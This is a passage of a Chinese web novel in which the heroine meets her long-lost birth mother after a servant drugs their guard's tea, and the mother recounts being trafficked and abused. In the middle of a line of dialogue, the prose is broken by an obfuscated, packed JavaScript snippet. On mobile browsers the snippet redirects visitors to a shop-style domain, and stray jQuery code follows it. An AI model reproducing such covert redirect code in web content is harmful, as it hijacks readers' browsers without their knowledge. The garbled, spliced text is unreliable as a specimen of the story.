谢青禾一怔，但转念一想确实有道理，昨日她便看那侍女行事果断，眼神凌厉，绝非好应付的人。 “如何？” 谢青禾犹豫道，“倒是个法子。” 萧蘅看她犹豫不决的样子，次日清晨他便让小允子去药铺买了蒙汗药，吩咐他到时悄悄下在茶水中。 第二日，尹昉便派人送来书信。 昨日尹昉从青云楼离开后，立刻便去了户部，查到那家府邸，确属文王私宅。 谢青禾知晓后，心中便开始盘算，如何给宋氏、沈苗赎身。 午时三刻，宋氏与那侍女按时到了青云楼。 宋氏看着还是没有精神，整个人看着干枯不已。 谢青禾早已将那不存在的“包袱”准备妥当，上午她跑遍集市买来了许多孩童喜爱的物件，有竹蜻蜓、拨浪鼓、磨喝乐，还有各色缎带、新衣，算是给这个妹妹初次见面的礼物吧。 谢青禾引二人落坐，吩咐阿鱼上茶。 “允哥，那女人好凶，她是谁啊？”阿鱼被外面的低气压弄得浑身不自在，小声抱怨道。 “那位头发花白面容和善的，是谢姑娘的生母。另一位神色狠厉的，是谢姑娘母亲的主家派人来监视她们说话的。”这些都是昨日萧蘅同他交代的。 他沏了三杯茶水，依着萧蘅的吩咐，将药粉倒在最外侧的那杯中。 阿鱼一惊，低声道，“允哥，你这是做什么！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268634|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“让那凶婆子睡一会儿，不然她们母女二人如何好好谈话。”小允子神色平静，“你去送茶，以免那人起了疑心。” 阿鱼咬咬牙，将那有药的茶水，稳稳放在那侍女面前。 谢青禾见状，温声笑道，“先喝杯茶暖暖身子，不急这一时半刻。” 不出片刻，药效发挥作用，那侍女头一歪便昏了过去。 宋氏吓一跳。 “放心，只是昏睡片刻，不妨碍性命，我们去后院说话。”谢青禾宽慰她道。 她交代阿鱼和小允子看好这个侍女，便同宋氏去了后院。 关上房门，谢青禾转身望着宋氏，她想替原身问问，当年为何抛下年仅六岁的她，将她独自留在勾心斗角的谢府？ 宋氏眼眶泛红，她唇角颤抖道，“孩子我知道你想问什么。 当年我本打算先脱身寻好落脚之处便来接你，可我轻信他人谗言，那人面兽心，第二日夜里便将我卖给了人牙子，人牙子知道我是当地女子，在这里转卖的话很有可能被人识破，便将我卖到朔州一户沈家的瘸腿汉子为妻。 到了那里，我昼夜想着逃走，却一次又一次被抓回，终日惊吓，我接连小产，他对我非打即骂，骂我是‘不下蛋的鸡’，后来许是上天眷顾，在我三十八岁那年终于怀上了沈苗。” 宋氏说到这里声音哽咽不成声，谢青禾上前，轻轻替她拍背顺气，宋氏慌忙用巾帕拭去眼泪。 如此说来，沈苗确是她同母异父的妹妹。 宋氏哽咽着继续道，“我生产后不出半月，那沈老头便不住哀叹，嫌沈苗是个女儿家，不能传宗接代，这些话日日挂在嘴边……” 谢青禾听得心头发沉，这般迂腐糟粕的思想禁锢了从古到今多少女子，女子怎就不如男子？若是自己将来嫁与这样的丈夫，不出三日便要和离，定要将他那迂腐糟粕的思想传遍各个角落，并踹断他的子孙根，绝了他的后嗣！ 本朝与宋朝相似，夫妻可和离，若女方占理，聘礼可一分不还与夫家。 他不懂，宋氏为何偏偏困在偏远的朔州，忍下这般磋磨。 似是明白她的心思，宋氏苦笑道，“那沈老头腿脚不便，扬言就算我告到官府，也不占理，拿不到那封和离书。” 谢青禾这是听明白了，这糟老头子就是想赖着宋氏，打定主意让宋氏给他当牛做马伺·候着他。 “后来，朔州来了个官员，说现下要征用朔州，聪明的就跟着他回京城做工，每月还有银钱拿，不愿意的话可以死在这里。 我当时只想离开沈老头、离开朔州，便带着阿苗来了京城。 离开了那里后，我以为日子就此会好起来，本想去寻你的踪迹，谁知那官员将我们锁在府中，平日不许随意走动，一切皆听管家安排。 那日，你走后，因着阿苗偷偷溜出去，管家便大发雷霆。”宋氏停了下来，喝了口水缓缓气。 “为何？”谢青禾追问。 “管家嫌弃我带着个拖油瓶，日日哭闹，不能给府里赚钱。”宋氏补充道。 “赚钱？”谢青禾心头一紧，“如何去赚钱，那日阿苗曾对我说，你只在夜间做活，白日歇息，他们究竟让你们做的什么活？”